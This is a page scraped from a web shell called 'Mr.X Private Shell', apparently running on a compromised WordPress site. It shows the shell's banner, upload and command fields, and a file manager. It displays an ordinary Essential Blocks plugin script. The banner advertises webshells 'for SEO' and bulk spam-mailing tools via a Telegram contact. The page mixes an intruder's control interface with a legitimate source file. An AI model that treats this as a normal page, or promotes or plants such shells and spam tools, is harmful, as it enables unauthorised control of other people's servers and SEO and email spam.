__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * WordPress Dependencies
 */
import {
    select,
    subscribe,
    dispatch
} from '@wordpress/data';

/**
 * Register Essential Block Global Controls Panel
 */
import { registerPlugin } from '@wordpress/plugins';

import EBGlobalControls from "./controls";
import EBIcon from "./assets/icon"

//Import Constants
import {
    globalColorKey,
    customColorKey,
    gradientColorKey,
    customGradientColorKey,
    globalTypoKey
} from "../store/constant"
import { getGlobalSettings } from "../helpers/helpers"
import { updateGlobalStyle } from '../helpers/fetch';


/**
 * Save Global Values on Save Page/Post
 */
// subscribe(() => {
//     const isSavingPost = select('core/editor').isSavingPost();
//     const isAutosavingPost = select('core/editor').isAutosavingPost();

//     const ebIsSaving = select('essential-blocks').getIsSaving()

//     if (!ebIsSaving || isAutosavingPost || !isSavingPost) {
//         return;
//     }

//     const globals = getGlobalSettings(select)
//     const allData = {
//         [globalColorKey]: globals?.getGlobalColors,
//         [customColorKey]: globals?.getCustomColors,
//         [gradientColorKey]: globals?.getGradientColors,
//         [customGradientColorKey]: globals?.getCustomGradientColors,
//         [globalTypoKey]: globals?.getGlobalTypography
//     }

//     let response = updateGlobalStyle(allData);

//     //setIsSaving to 'false' so that 'updateGlobalStyle' won't run multiple times
//     dispatch('essential-blocks').setIsSaving(false)
// });



/**
 * Register EB Global Controls Slotfill
 */
registerPlugin(
    'eb-global-controls',
    {
        icon: EBIcon,
        render: EBGlobalControls,
    }
);

Filemanager

Name Type Size Permission Actions
assets Folder 0750
block-defaults Folder 0750
components Folder 0750
blockObject.js File 10.99 KB 0640
constants.js File 1.83 KB 0640
controls.js File 32.88 KB 0640
index.js File 1.65 KB 0640
style.scss File 9.28 KB 0640
Filemanager